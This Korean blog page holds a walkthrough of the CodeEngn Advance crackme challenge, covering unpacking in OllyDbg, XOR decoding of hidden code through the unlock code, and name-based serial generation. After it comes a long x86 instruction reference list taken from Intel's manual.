CodeEngn Advance 15  (0) 2015.07.30
CodeEngn Advance 14  (0) 2015.07.24
CodeEngn Advance 12  (1) 2015.07.22
CodeEngn Advance 11  (0) 2015.07.17
CodeEngn Advance 10  (0) 2015.07.13

문제확인


이번 문제는 독특하게도 Unlock Code가 존재한다. 문제를 실행 시켜서 About을 통해 확인을 해보았을 때 올바른 Unlock Code를 찾은 후에 진행을 해야 하는 것 같다.

The Serial-generation code in this crackme is obfuscated and there are no signatures this time.

After the Unlock Code has been found, type it in and it will de-obfuscate the serial generation code.

Then it should be straight forward.


Rules:

- No patching

- Find the correct unlock code

- Write a keygen

- Write a tutorial explaining how you solved this one and please include your code


i really look forward to seeing your solutions!



Unpacking - 1


Ollydbg를 통해서 문제를 열자마자 난해하게 되어 있다. 패킹이 되어 있는 것 같다. 이를 해제하기 위해선 그냥 단순하게 쭉 따라서 가도 괜찮지만  나는 그렇게 시간이 오래걸리는 방법을 선호하지는 않는다. 그렇기에 PE 구조도 최근에 공부한김에 이를 통해서 해보기로 했다.


우선 현재 EIP는 바로 저 부분으로 제대로 설정이 되어있다. 아래의 사진에서 보듯이 .text 영역은 흔히 Code 영역으로 실행에 쓰이는 Opcode들이 존재하고 있다. 이러한 .text 섹션의 시작 주소는 1000이다. 즉 ImageBase 까지 더한다고 생각하면 401000으로 이동을 해보자.


그 후 이 부분에 BP를 걸고 F9를 통해 진행을 할 경우 두번째 사진과 같이 패킹이 해제 되는 것을 확인 할 수가 있다. 이러한 방법 외에도 다양한 방법이 있는 것 같으니 직접 찾아보는 것을 추천드립니다.



Unpacking -2 


프로세스를 진행하다 보면 아래와 같이 2개의 호출문을 볼 수가 있다. 첫 번째 호출문은 Unlock Code를 가지고 어떠한 연산을 진행하는 부분이고, 두 번째 호출문은 0x7B 번 어떠한 연산을 진행하는 과정이다. 하나하나 살펴보자.


호출문 - 1

이 함수 내에는 Loop가 존재하는 이러한 반복문은 항상 수상히 여겨야 한다. 바로 내가 입력한 UnlockCode를 가져와서 연산을 진행한다. 연산에 대한 과정은 아래에 직접 타이핑한 것을 보면 어떻게 Loop가 진행하는지 충분히 이해를 할 수가 있다.

여기서 중요한 것은 바로 붉은 상자에 표시한 부분인데 저 부분이 최종적으로 나온 값이 저장되는 곳이다. 이 값은 후에 쓰이게 된다.

<Loop - 1 참고>


호출문 - 2

여기에는 위에서 나온 값을 통해 연산이 진행이 된다. 우선 lstrlen을 통해 Unlock Code의 길이가 1보다 큰지를 확인하고 만약 아니라면 바로 실패문을 출력을 한다. 이 부분을 넘어가면 바로 0040111C 에서부터 0040123C까지 이미 지정된 값을 위에서 나온 값과 XOR 연산을 진행하는 작업이다.

여기서 이 XOR에 쓰일 위의 값이 중요한 이유는 바로 감춰진 명령어들을 우리가 복구해야하기 때문이다.


특정한 값과 XOR연산이 진행된 후에 해당 주소의 값은 모두 변해 있다. 아래의 Dump 부분에 드래그 한 곳부터 나중에 호출이 되므로 이후에 참고하자.




Name을 통한 값 생성


위의 XOR 과정을 통해서 생성된 4011E8부분을 호출한다. 여기서 중요한 것은 결국 위의 XOR 값이 잘못된 값일 경우에는 이상한 명령어들로 복구시키므로 인하여 제대로 동작이 하지 않을 수가 있다. 즉 UnlockCode에 어떠한 값을 넣는지에 따라 전혀 다른 진행이 이루어 진다는 것이다.

처음에 나는 JMP문을 통해 어떠한 부분으로 가는 명령어들을 생성해야하는지 알고 삽질을 하였으나, 지인의 조언을 통하여 결국 새로운 함수를 호출하는 부분이므로 결국 그 함수에 진입을 하였을땐 스택프레임을 구성하는 작업이 이루어질것이라는 말이였다. 

즉 PUSH EBP; MOV EBP,ESP 가 이루어져야 하기에 위에서 4011E8의 코드를 55 8B EC에 초점을 맞추고 XOR 연산을 진행하였다. 그 결과 모두 0x25와 XOR을 진행했을 경우에 아래와 같이 정상적인 코드가 복구되는 것을 확인 할 수가 있다.


아래는 정상적으로 복구된 코드의 부분이다. 우선 GenerateSerial 이라고는 했지만 저 부분에서 최종 키 값이 형성이 되는 것이 아니라 그 최종 키 값 형성에 쓰이는 값을 형성하는 부분이므로 중요하다.


안을 들여다 보면 아래와 같이 Name을 통해 특정한 값을 생성한다. 구성은 아래의 Loop-2를 참고하면 조금 이해하기 편할 것 같다. 입력한 Name을 한 글자씩 읽은 다음에 Count 값과 같이 연산을 진행하는 구성이다. 



Serial 생성


위의 함수를 빠져나오면 바로 다시 새로운 Loop를 만나게 된다. 여기선 위에서 최종적으로 나온 값을 통해 Count와 연산을 진행하는 작업이 진행이 된다. 이 역시 자세한 구성은 아래의 Loop - 3을 참고하는 것이 편할 것이다.


그리고 성공문을 체크하는 곳으로 가면 아래와 같이 내가 입력한 Serial과 Name에 따라 생긴 Key 값이 한글자씩 비교가 되는 부분을 확인 할 수가 있다.



느낀점


이번 문제를 풀면서 역시 자살충동이 솟아났다. 도저히 혼자서 jmp문을 고집했다면 죽어도 못풀문제였다. 이번에 확실히 느낀건 여러 문제나 파일을 접하면서 직접 많이 해보는 것이 가장 좋은 방법같다. 앞으론 패킹이 되어있는 파일이 언패킹되는 과정을 좀더 유심히 보게 될것 같다.




'Reversing > CodeEngn' 카테고리의 다른 글

CodeEngn Advance 02  (0) 2015.07.30
CodeEngn Advance 14  (0) 2015.07.24
CodeEngn Advance 12  (1) 2015.07.22
CodeEngn Advance 11  (0) 2015.07.17
CodeEngn Advance 10  (0) 2015.07.13

x86 Instruction Set Reference

Derived from the September 2014 version of the Intel® 64 and IA-32 Architectures Software Developer’s Manual, volumes 2A and 2B.

More info at zneak/x86doc

This reference is not perfect. It's been mechanically separated into distinct files by a dumb script. It may be enough to replace the official documentation on your weekend reverse engineering project, but in doubt, go get the official and freely available documentation.


x86.zip



AAAASCII Adjust After Addition
AADASCII Adjust AX Before Division
AAMASCII Adjust AX After Multiply
AASASCII Adjust AL After Subtraction
ADCAdd with Carry
ADCXUnsigned Integer Addition of Two Operands with Carry Flag
ADDAdd
ADDPDAdd Packed Double-Precision Floating-Point Values
ADDPSAdd Packed Single-Precision Floating-Point Values
ADDSDAdd Scalar Double-Precision Floating-Point Values
ADDSSAdd Scalar Single-Precision Floating-Point Values
ADDSUBPDPacked Double-FP Add/Subtract
ADDSUBPSPacked Single-FP Add/Subtract
ADOXUnsigned Integer Addition of Two Operands with Overflow Flag
AESDECPerform One Round of an AES Decryption Flow
AESDECLASTPerform Last Round of an AES Decryption Flow
AESENCPerform One Round of an AES Encryption Flow
AESENCLASTPerform Last Round of an AES Encryption Flow
AESIMCPerform the AES InvMixColumn Transformation
AESKEYGENASSISTAES Round Key Generation Assist
ANDLogical AND
ANDNLogical AND NOT
ANDNPDBitwise Logical AND NOT of Packed Double-Precision Floating-Point Values
ANDNPSBitwise Logical AND NOT of Packed Single-Precision Floating-Point Values
ANDPDBitwise Logical AND of Packed Double-Precision Floating-Point Values
ANDPSBitwise Logical AND of Packed Single-Precision Floating-Point Values
ARPLAdjust RPL Field of Segment Selector
BEXTRBit Field Extract
BLENDPDBlend Packed Double Precision Floating-Point Values
BLENDPSBlend Packed Single Precision Floating-Point Values
BLENDVPDVariable Blend Packed Double Precision Floating-Point Values
BLENDVPSVariable Blend Packed Single Precision Floating-Point Values
BLSIExtract Lowest Set Isolated Bit
BLSMSKGet Mask Up to Lowest Set Bit
BLSRReset Lowest Set Bit
BOUNDCheck Array Index Against Bounds
BSFBit Scan Forward
BSRBit Scan Reverse
BSWAPByte Swap
BTBit Test
BTCBit Test and Complement
BTRBit Test and Reset
BTSBit Test and Set
BZHIZero High Bits Starting with Specified Bit Position
CALLCall Procedure
CBWConvert Byte to Word/Convert Word to Doubleword/Convert Doubleword to Quadword
CDQConvert Word to Doubleword/Convert Doubleword to Quadword
CDQEConvert Byte to Word/Convert Word to Doubleword/Convert Doubleword to Quadword
CLACClear AC Flag in EFLAGS Register
CLCClear Carry Flag
CLDClear Direction Flag
CLFLUSHFlush Cache Line
CLIClear Interrupt Flag
CLTSClear Task-Switched Flag in CR0
CMCComplement Carry Flag
CMOVccConditional Move
CMPCompare Two Operands
CMPPDCompare Packed Double-Precision Floating-Point Values
CMPPSCompare Packed Single-Precision Floating-Point Values
CMPSCompare String Operands
CMPSBCompare String Operands
CMPSDCompare String Operands
CMPSDCompare Scalar Double-Precision Floating-Point Values
CMPSQCompare String Operands
CMPSSCompare Scalar Single-Precision Floating-Point Values
CMPSWCompare String Operands
CMPXCHGCompare and Exchange
CMPXCHG16BCompare and Exchange Bytes
CMPXCHG8BCompare and Exchange Bytes
COMISDCompare Scalar Ordered Double-Precision Floating-Point Values and Set EFLAGS
COMISSCompare Scalar Ordered Single-Precision Floating-Point Values and Set EFLAGS
CPUIDCPU Identification
CQOConvert Word to Doubleword/Convert Doubleword to Quadword
CRC32Accumulate CRC32 Value
CVTDQ2PDConvert Packed Dword Integers to Packed Double-Precision FP Values
CVTDQ2PSConvert Packed Dword Integers to Packed Single-Precision FP Values
CVTPD2DQConvert Packed Double-Precision FP Values to Packed Dword Integers
CVTPD2PIConvert Packed Double-Precision FP Values to Packed Dword Integers
CVTPD2PSConvert Packed Double-Precision FP Values to Packed Single-Precision FP Values
CVTPI2PDConvert Packed Dword Integers to Packed Double-Precision FP Values
CVTPI2PSConvert Packed Dword Integers to Packed Single-Precision FP Values
CVTPS2DQConvert Packed Single-Precision FP Values to Packed Dword Integers
CVTPS2PDConvert Packed Single-Precision FP Values to Packed Double-Precision FP Values
CVTPS2PIConvert Packed Single-Precision FP Values to Packed Dword Integers
CVTSD2SIConvert Scalar Double-Precision FP Value to Integer
CVTSD2SSConvert Scalar Double-Precision FP Value to Scalar Single-Precision FP Value
CVTSI2SDConvert Dword Integer to Scalar Double-Precision FP Value
CVTSI2SSConvert Dword Integer to Scalar Single-Precision FP Value
CVTSS2SDConvert Scalar Single-Precision FP Value to Scalar Double-Precision FP Value
CVTSS2SIConvert Scalar Single-Precision FP Value to Dword Integer
CVTTPD2DQConvert with Truncation Packed Double-Precision FP Values to Packed Dword Integers
CVTTPD2PIConvert with Truncation Packed Double-Precision FP Values to Packed Dword Integers
CVTTPS2DQConvert with Truncation Packed Single-Precision FP Values to Packed Dword Integers
CVTTPS2PIConvert with Truncation Packed Single-Precision FP Values to Packed Dword Integers
CVTTSD2SIConvert with Truncation Scalar Double-Precision FP Value to Signed Integer
CVTTSS2SIConvert with Truncation Scalar Single-Precision FP Value to Dword Integer
CWDConvert Word to Doubleword/Convert Doubleword to Quadword
CWDEConvert Byte to Word/Convert Word to Doubleword/Convert Doubleword to Quadword
DAADecimal Adjust AL after Addition
DASDecimal Adjust AL after Subtraction
DECDecrement by 1
DIVUnsigned Divide
DIVPDDivide Packed Double-Precision Floating-Point Values
DIVPSDivide Packed Single-Precision Floating-Point Values
DIVSDDivide Scalar Double-Precision Floating-Point Values
DIVSSDivide Scalar Single-Precision Floating-Point Values
DPPDDot Product of Packed Double Precision Floating-Point Values
DPPSDot Product of Packed Single Precision Floating-Point Values
EMMSEmpty MMX Technology State
ENTERMake Stack Frame for Procedure Parameters
EXTRACTPSExtract Packed Single Precision Floating-Point Value
F2XM1Compute 2x–1
FABSAbsolute Value
FADDAdd
FADDPAdd
FBLDLoad Binary Coded Decimal
FBSTPStore BCD Integer and Pop
FCHSChange Sign
FCLEXClear Exceptions
FCMOVccFloating-Point Conditional Move
FCOMCompare Floating Point Values
FCOMICompare Floating Point Values and Set EFLAGS
FCOMIPCompare Floating Point Values and Set EFLAGS
FCOMPCompare Floating Point Values
FCOMPPCompare Floating Point Values
FCOSCosine
FDECSTPDecrement Stack-Top Pointer
FDIVDivide
FDIVPDivide
FDIVRReverse Divide
FDIVRPReverse Divide
FFREEFree Floating-Point Register
FIADDAdd
FICOMCompare Integer
FICOMPCompare Integer
FIDIVDivide
FIDIVRReverse Divide
FILDLoad Integer
FIMULMultiply
FINCSTPIncrement Stack-Top Pointer
FINITInitialize Floating-Point Unit
FISTStore Integer
FISTPStore Integer
FISTTPStore Integer with Truncation
FISUBSubtract
FISUBRReverse Subtract
FLDLoad Floating Point Value
FLD1Load Constant
FLDCWLoad x87 FPU Control Word
FLDENVLoad x87 FPU Environment
FLDL2ELoad Constant
FLDL2TLoad Constant
FLDLG2Load Constant
FLDLN2Load Constant
FLDPILoad Constant
FLDZLoad Constant
FMULMultiply
FMULPMultiply
FNCLEXClear Exceptions
FNINITInitialize Floating-Point Unit
FNOPNo Operation
FNSAVEStore x87 FPU State
FNSTCWStore x87 FPU Control Word
FNSTENVStore x87 FPU Environment
FNSTSWStore x87 FPU Status Word
FPATANPartial Arctangent
FPREMPartial Remainder
FPREM1Partial Remainder
FPTANPartial Tangent
FRNDINTRound to Integer
FRSTORRestore x87 FPU State
FSAVEStore x87 FPU State
FSCALEScale
FSINSine
FSINCOSSine and Cosine
FSQRTSquare Root
FSTStore Floating Point Value
FSTCWStore x87 FPU Control Word
FSTENVStore x87 FPU Environment
FSTPStore Floating Point Value
FSTSWStore x87 FPU Status Word
FSUBSubtract
FSUBPSubtract
FSUBRReverse Subtract
FSUBRPReverse Subtract
FTSTTEST
FUCOMUnordered Compare Floating Point Values
FUCOMICompare Floating Point Values and Set EFLAGS
FUCOMIPCompare Floating Point Values and Set EFLAGS
FUCOMPUnordered Compare Floating Point Values
FUCOMPPUnordered Compare Floating Point Values
FWAITWait
FXAMExamine ModR/M
FXCHExchange Register Contents
FXRSTORRestore x87 FPU, MMX, XMM, and MXCSR State
FXSAVESave x87 FPU, MMX Technology, and SSE State
FXTRACTExtract Exponent and Significand
FYL2XCompute y ∗ log2x
FYL2XP1Compute y ∗ log2(x +1)
HADDPDPacked Double-FP Horizontal Add
HADDPSPacked Single-FP Horizontal Add
HLTHalt
HSUBPDPacked Double-FP Horizontal Subtract
HSUBPSPacked Single-FP Horizontal Subtract
IDIVSigned Divide
IMULSigned Multiply
INInput from Port
INCIncrement by 1
INSInput from Port to String
INSBInput from Port to String
INSDInput from Port to String
INSERTPSInsert Packed Single Precision Floating-Point Value
INSWInput from Port to String
INT 3Call to Interrupt Procedure
INT nCall to Interrupt Procedure
INTOCall to Interrupt Procedure
INVDInvalidate Internal Caches
INVLPGInvalidate TLB Entries
INVPCIDInvalidate Process-Context Identifier
IRETInterrupt Return
IRETDInterrupt Return
JMPJump
JccJump if Condition Is Met
LAHFLoad Status Flags into AH Register
LARLoad Access Rights Byte
LDDQULoad Unaligned Integer 128 Bits
LDMXCSRLoad MXCSR Register
LDSLoad Far Pointer
LEALoad Effective Address
LEAVEHigh Level Procedure Exit
LESLoad Far Pointer
LFENCELoad Fence
LFSLoad Far Pointer
LGDTLoad Global/Interrupt Descriptor Table Register
LGSLoad Far Pointer
LIDTLoad Global/Interrupt Descriptor Table Register
LLDTLoad Local Descriptor Table Register
LMSWLoad Machine Status Word
LOCKAssert LOCK# Signal Prefix
LODSLoad String
LODSBLoad String
LODSDLoad String
LODSQLoad String
LODSWLoad String
LOOPLoop According to ECX Counter
LOOPccLoop According to ECX Counter
LSLLoad Segment Limit
LSSLoad Far Pointer
LTRLoad Task Register
LZCNTCount the Number of Leading Zero Bits
MASKMOVDQUStore Selected Bytes of Double Quadword
MASKMOVQStore Selected Bytes of Quadword
MAXPDReturn Maximum Packed Double-Precision Floating-Point Values
MAXPSReturn Maximum Packed Single-Precision Floating-Point Values
MAXSDReturn Maximum Scalar Double-Precision Floating-Point Value
MAXSSReturn Maximum Scalar Single-Precision Floating-Point Value
MFENCEMemory Fence
MINPDReturn Minimum Packed Double-Precision Floating-Point Values
MINPSReturn Minimum Packed Single-Precision Floating-Point Values
MINSDReturn Minimum Scalar Double-Precision Floating-Point Value
MINSSReturn Minimum Scalar Single-Precision Floating-Point Value
MONITORSet Up Monitor Address
MOVMove
MOVMove to/from Control Registers
MOVMove to/from Debug Registers
MOVAPDMove Aligned Packed Double-Precision Floating-Point Values
MOVAPSMove Aligned Packed Single-Precision Floating-Point Values
MOVBEMove Data After Swapping Bytes
MOVDMove Doubleword/Move Quadword
MOVDDUPMove One Double-FP and Duplicate
MOVDQ2QMove Quadword from XMM to MMX Technology Register
MOVDQAMove Aligned Double Quadword
MOVDQUMove Unaligned Double Quadword
MOVHLPSMove Packed Single-Precision Floating-Point Values High to Low
MOVHPDMove High Packed Double-Precision Floating-Point Value
MOVHPSMove High Packed Single-Precision Floating-Point Values
MOVLHPSMove Packed Single-Precision Floating-Point Values Low to High
MOVLPDMove Low Packed Double-Precision Floating-Point Value
MOVLPSMove Low Packed Single-Precision Floating-Point Values
MOVMSKPDExtract Packed Double-Precision Floating-Point Sign Mask
MOVMSKPSExtract Packed Single-Precision Floating-Point Sign Mask
MOVNTDQStore Double Quadword Using Non-Temporal Hint
MOVNTDQALoad Double Quadword Non-Temporal Aligned Hint
MOVNTIStore Doubleword Using Non-Temporal Hint
MOVNTPDStore Packed Double-Precision Floating-Point Values Using Non-Temporal Hint
MOVNTPSStore Packed Single-Precision Floating-Point Values Using Non-Temporal Hint
MOVNTQStore of Quadword Using Non-Temporal Hint
MOVQMove Doubleword/Move Quadword
MOVQMove Quadword
MOVQ2DQMove Quadword from MMX Technology to XMM Register
MOVSMove Data from String to String
MOVSBMove Data from String to String
MOVSDMove Data from String to String
MOVSDMove Scalar Double-Precision Floating-Point Value
MOVSHDUPMove Packed Single-FP High and Duplicate
MOVSLDUPMove Packed Single-FP Low and Duplicate
MOVSQMove Data from String to String
MOVSSMove Scalar Single-Precision Floating-Point Values
MOVSWMove Data from String to String
MOVSXMove with Sign-Extension
MOVSXDMove with Sign-Extension
MOVUPDMove Unaligned Packed Double-Precision Floating-Point Values
MOVUPSMove Unaligned Packed Single-Precision Floating-Point Values
MOVZXMove with Zero-Extend
MPSADBWCompute Multiple Packed Sums of Absolute Difference
MULUnsigned Multiply
MULPDMultiply Packed Double-Precision Floating-Point Values
MULPSMultiply Packed Single-Precision Floating-Point Values
MULSDMultiply Scalar Double-Precision Floating-Point Values
MULSSMultiply Scalar Single-Precision Floating-Point Values
MWAITMonitor Wait
MULXUnsigned Multiply Without Affecting Flags
MWAITMonitor Wait
NEGTwo's Complement Negation
NOPNo Operation
NOTOne's Complement Negation
ORLogical Inclusive OR
ORPDBitwise Logical OR of Double-Precision Floating-Point Values
ORPSBitwise Logical OR of Single-Precision Floating-Point Values
OUTOutput to Port
OUTSOutput String to Port
OUTSBOutput String to Port
OUTSDOutput String to Port
OUTSWOutput String to Port
PABSBPacked Absolute Value
PABSDPacked Absolute Value
PABSWPacked Absolute Value
PACKSSDWPack with Signed Saturation
PACKSSWBPack with Signed Saturation
PACKUSDWPack with Unsigned Saturation
PACKUSWBPack with Unsigned Saturation
PADDBAdd Packed Integers
PADDDAdd Packed Integers
PADDQAdd Packed Quadword Integers
PADDSBAdd Packed Signed Integers with Signed Saturation
PADDSWAdd Packed Signed Integers with Signed Saturation
PADDUSBAdd Packed Unsigned Integers with Unsigned Saturation
PADDUSWAdd Packed Unsigned Integers with Unsigned Saturation
PADDWAdd Packed Integers
PALIGNRPacked Align Right
PANDLogical AND
PANDNLogical AND NOT
PAUSESpin Loop Hint
PAVGBAverage Packed Integers
PAVGWAverage Packed Integers
PBLENDVBVariable Blend Packed Bytes
PBLENDWBlend Packed Words
PCLMULQDQCarry-Less Multiplication Quadword
PCMPEQBCompare Packed Data for Equal
PCMPEQDCompare Packed Data for Equal
PCMPEQQCompare Packed Qword Data for Equal
PCMPEQWCompare Packed Data for Equal
PCMPESTRIPacked Compare Explicit Length Strings, Return Index
PCMPESTRMPacked Compare Explicit Length Strings, Return Mask
PCMPGTBCompare Packed Signed Integers for Greater Than
PCMPGTDCompare Packed Signed Integers for Greater Than
PCMPGTQCompare Packed Data for Greater Than
PCMPGTWCompare Packed Signed Integers for Greater Than
PCMPISTRIPacked Compare Implicit Length Strings, Return Index
PCMPISTRMPacked Compare Implicit Length Strings, Return Mask
PDEPParallel Bits Deposit
PEXTParallel Bits Extract
PEXTRBExtract Byte/Dword/Qword
PEXTRDExtract Byte/Dword/Qword
PEXTRQExtract Byte/Dword/Qword
PEXTRWExtract Word
PHADDDPacked Horizontal Add
PHADDSWPacked Horizontal Add and Saturate
PHADDWPacked Horizontal Add
PHMINPOSUWPacked Horizontal Word Minimum
PHSUBDPacked Horizontal Subtract
PHSUBSWPacked Horizontal Subtract and Saturate
PHSUBWPacked Horizontal Subtract
PINSRBInsert Byte/Dword/Qword
PINSRDInsert Byte/Dword/Qword
PINSRQInsert Byte/Dword/Qword
PINSRWInsert Word
PMADDUBSWMultiply and Add Packed Signed and Unsigned Bytes
PMADDWDMultiply and Add Packed Integers
PMAXSBMaximum of Packed Signed Byte Integers
PMAXSDMaximum of Packed Signed Dword Integers
PMAXSWMaximum of Packed Signed Word Integers
PMAXUBMaximum of Packed Unsigned Byte Integers
PMAXUDMaximum of Packed Unsigned Dword Integers
PMAXUWMaximum of Packed Word Integers
PMINSBMinimum of Packed Signed Byte Integers
PMINSDMinimum of Packed Dword Integers
PMINSWMinimum of Packed Signed Word Integers
PMINUBMinimum of Packed Unsigned Byte Integers
PMINUDMinimum of Packed Dword Integers
PMINUWMinimum of Packed Word Integers
PMOVMSKBMove Byte Mask
PMOVSXPacked Move with Sign Extend
PMOVZXPacked Move with Zero Extend
PMULDQMultiply Packed Signed Dword Integers
PMULHRSWPacked Multiply High with Round and Scale
PMULHUWMultiply Packed Unsigned Integers and Store High Result
PMULHWMultiply Packed Signed Integers and Store High Result
PMULLDMultiply Packed Signed Dword Integers and Store Low Result
PMULLWMultiply Packed Signed Integers and Store Low Result
PMULUDQMultiply Packed Unsigned Doubleword Integers
POPPop a Value from the Stack
POPAPop All General-Purpose Registers
POPADPop All General-Purpose Registers
POPCNTReturn the Count of Number of Bits Set to 1
POPFPop Stack into EFLAGS Register
POPFDPop Stack into EFLAGS Register
POPFQPop Stack into EFLAGS Register
PORBitwise Logical OR
PREFETCHWPrefetch Data into Caches in Anticipation of a Write
PREFETCHWT1Prefetch Vector Data Into Caches with Intent to Write and T1 Hint
PREFETCHhPrefetch Data Into Caches
PSADBWCompute Sum of Absolute Differences
PSHUFBPacked Shuffle Bytes
PSHUFDShuffle Packed Doublewords
PSHUFHWShuffle Packed High Words
PSHUFLWShuffle Packed Low Words
PSHUFWShuffle Packed Words
PSIGNBPacked SIGN
PSIGNDPacked SIGN
PSIGNWPacked SIGN
PSLLDShift Packed Data Left Logical
PSLLDQShift Double Quadword Left Logical
PSLLQShift Packed Data Left Logical
PSLLWShift Packed Data Left Logical
PSRADShift Packed Data Right Arithmetic
PSRAWShift Packed Data Right Arithmetic
PSRLDShift Packed Data Right Logical
PSRLDQShift Double Quadword Right Logical
PSRLQShift Packed Data Right Logical
PSRLWShift Packed Data Right Logical
PSUBBSubtract Packed Integers
PSUBDSubtract Packed Integers
PSUBQSubtract Packed Quadword Integers
PSUBSBSubtract Packed Signed Integers with Signed Saturation
PSUBSWSubtract Packed Signed Integers with Signed Saturation
PSUBUSBSubtract Packed Unsigned Integers with Unsigned Saturation
PSUBUSWSubtract Packed Unsigned Integers with Unsigned Saturation
PSUBWSubtract Packed Integers
PTESTLogical Compare
PUNPCKHBWUnpack High Data
PUNPCKHDQUnpack High Data
PUNPCKHQDQUnpack High Data
PUNPCKHWDUnpack High Data
PUNPCKLBWUnpack Low Data
PUNPCKLDQUnpack Low Data
PUNPCKLQDQUnpack Low Data
PUNPCKLWDUnpack Low Data
PUSHPush Word, Doubleword or Quadword Onto the Stack
PUSHAPush All General-Purpose Registers
PUSHADPush All General-Purpose Registers
PUSHFPush EFLAGS Register onto the Stack
PUSHFDPush EFLAGS Register onto the Stack
PXORLogical Exclusive OR
RCL—Rotate
RCPPSCompute Reciprocals of Packed Single-Precision Floating-Point Values
RCPSSCompute Reciprocal of Scalar Single-Precision Floating-Point Values
RCR—Rotate
RDFSBASERead FS/GS Segment Base
RDGSBASERead FS/GS Segment Base
RDMSRRead from Model Specific Register
RDPMCRead Performance-Monitoring Counters
RDRANDRead Random Number
RDSEEDRead Random SEED
RDTSCRead Time-Stamp Counter
RDTSCPRead Time-Stamp Counter and Processor ID
REPRepeat String Operation Prefix
REPERepeat String Operation Prefix
REPNERepeat String Operation Prefix
REPNZRepeat String Operation Prefix
REPZRepeat String Operation Prefix
RETReturn from Procedure
ROL—Rotate
ROR—Rotate
RORXRotate Right Logical Without Affecting Flags
ROUNDPDRound Packed Double Precision Floating-Point Values
ROUNDPSRound Packed Single Precision Floating-Point Values
ROUNDSDRound Scalar Double Precision Floating-Point Values
ROUNDSSRound Scalar Single Precision Floating-Point Values
RSMResume from System Management Mode
RSQRTPSCompute Reciprocals of Square Roots of Packed Single-Precision Floating-Point Values
RSQRTSSCompute Reciprocal of Square Root of Scalar Single-Precision Floating-Point Value
SAHFStore AH into Flags
SALShift
SARShift
SARXShift Without Affecting Flags
SBBInteger Subtraction with Borrow
SCASScan String
SCASBScan String
SCASDScan String
SCASWScan String
SETccSet Byte on Condition
SFENCEStore Fence
SGDTStore Global Descriptor Table Register
SHLShift
SHLDDouble Precision Shift Left
SHLXShift Without Affecting Flags
SHRShift
SHRDDouble Precision Shift Right
SHRXShift Without Affecting Flags
SHUFPDShuffle Packed Double-Precision Floating-Point Values
SHUFPSShuffle Packed Single-Precision Floating-Point Values
SIDTStore Interrupt Descriptor Table Register
SLDTStore Local Descriptor Table Register
SMSWStore Machine Status Word
SQRTPDCompute Square Roots of Packed Double-Precision Floating-Point Values
SQRTPSCompute Square Roots of Packed Single-Precision Floating-Point Values
SQRTSDCompute Square Root of Scalar Double-Precision Floating-Point Value
SQRTSSCompute Square Root of Scalar Single-Precision Floating-Point Value
STACSet AC Flag in EFLAGS Register
STCSet Carry Flag
STDSet Direction Flag
STISet Interrupt Flag
STMXCSRStore MXCSR Register State
STOSStore String
STOSBStore String
STOSDStore String
STOSQStore String
STOSWStore String
STRStore Task Register
SUBSubtract
SUBPDSubtract Packed Double-Precision Floating-Point Values
SUBPSSubtract Packed Single-Precision Floating-Point Values
SUBSDSubtract Scalar Double-Precision Floating-Point Values
SUBSSSubtract Scalar Single-Precision Floating-Point Values
SWAPGSSwap GS Base Register
SYSCALLFast System Call
SYSENTERFast System Call
SYSEXITFast Return from Fast System Call
SYSRETReturn From Fast System Call
TESTLogical Compare
TZCNTCount the Number of Trailing Zero Bits
UCOMISDUnordered Compare Scalar Double-Precision Floating-Point Values and Set EFLAGS
UCOMISSUnordered Compare Scalar Single-Precision Floating-Point Values and Set EFLAGS
UD2Undefined Instruction
UNPCKHPDUnpack and Interleave High Packed Double-Precision Floating-Point Values
UNPCKHPSUnpack and Interleave High Packed Single-Precision Floating-Point Values
UNPCKLPDUnpack and Interleave Low Packed Double-Precision Floating-Point Values
UNPCKLPSUnpack and Interleave Low Packed Single-Precision Floating-Point Values
VBROADCASTBroadcast Floating-Point Data
VCVTPH2PSConvert 16-bit FP Values to Single-Precision FP Values
VCVTPS2PHConvert Single-Precision FP value to 16-bit FP value
VERRVerify a Segment for Reading or Writing
VERWVerify a Segment for Reading or Writing
VEXTRACTF128Extract Packed Floating-Point Values
VEXTRACTI128Extract packed Integer Values
VFMADD132PDFused Multiply-Add of Packed Double-Precision Floating-Point Values
VFMADD132PSFused Multiply-Add of Packed Single-Precision Floating-Point Values
VFMADD132SDFused Multiply-Add of Scalar Double-Precision Floating-Point Values
VFMADD132SSFused Multiply-Add of Scalar Single-Precision Floating-Point Values
VFMADD213PDFused Multiply-Add of Packed Double-Precision Floating-Point Values
VFMADD213PSFused Multiply-Add of Packed Single-Precision Floating-Point Values
VFMADD213SDFused Multiply-Add of Scalar Double-Precision Floating-Point Values
VFMADD213SSFused Multiply-Add of Scalar Single-Precision Floating-Point Values
VFMADD231PDFused Multiply-Add of Packed Double-Precision Floating-Point Values
VFMADD231PSFused Multiply-Add of Packed Single-Precision Floating-Point Values
VFMADD231SDFused Multiply-Add of Scalar Double-Precision Floating-Point Values
VFMADD231SSFused Multiply-Add of Scalar Single-Precision Floating-Point Values
VFMADDSUB132PDFused Multiply-Alternating Add/Subtract of Packed Double-Precision Floating-Point Values
VFMADDSUB132PSFused Multiply-Alternating Add/Subtract of Packed Single-Precision Floating-Point Values
VFMADDSUB213PDFused Multiply-Alternating Add/Subtract of Packed Double-Precision Floating-Point Values
VFMADDSUB213PSFused Multiply-Alternating Add/Subtract of Packed Single-Precision Floating-Point Values
VFMADDSUB231PDFused Multiply-Alternating Add/Subtract of Packed Double-Precision Floating-Point Values
VFMADDSUB231PSFused Multiply-Alternating Add/Subtract of Packed Single-Precision Floating-Point Values
VFMSUB132PDFused Multiply-Subtract of Packed Double-Precision Floating-Point Values
VFMSUB132PSFused Multiply-Subtract of Packed Single-Precision Floating-Point Values
VFMSUB132SDFused Multiply-Subtract of Scalar Double-Precision Floating-Point Values
VFMSUB132SSFused Multiply-Subtract of Scalar Single-Precision Floating-Point Values
VFMSUB213PDFused Multiply-Subtract of Packed Double-Precision Floating-Point Values
VFMSUB213PSFused Multiply-Subtract of Packed Single-Precision Floating-Point Values
VFMSUB213SDFused Multiply-Subtract of Scalar Double-Precision Floating-Point Values
VFMSUB213SSFused Multiply-Subtract of Scalar Single-Precision Floating-Point Values
VFMSUB231PDFused Multiply-Subtract of Packed Double-Precision Floating-Point Values
VFMSUB231PSFused Multiply-Subtract of Packed Single-Precision Floating-Point Values
VFMSUB231SDFused Multiply-Subtract of Scalar Double-Precision Floating-Point Values
VFMSUB231SSFused Multiply-Subtract of Scalar Single-Precision Floating-Point Values
VFMSUBADD132PDFused Multiply-Alternating Subtract/Add of Packed Double-Precision Floating-Point Values
VFMSUBADD132PSFused Multiply-Alternating Subtract/Add of Packed Single-Precision Floating-Point Values
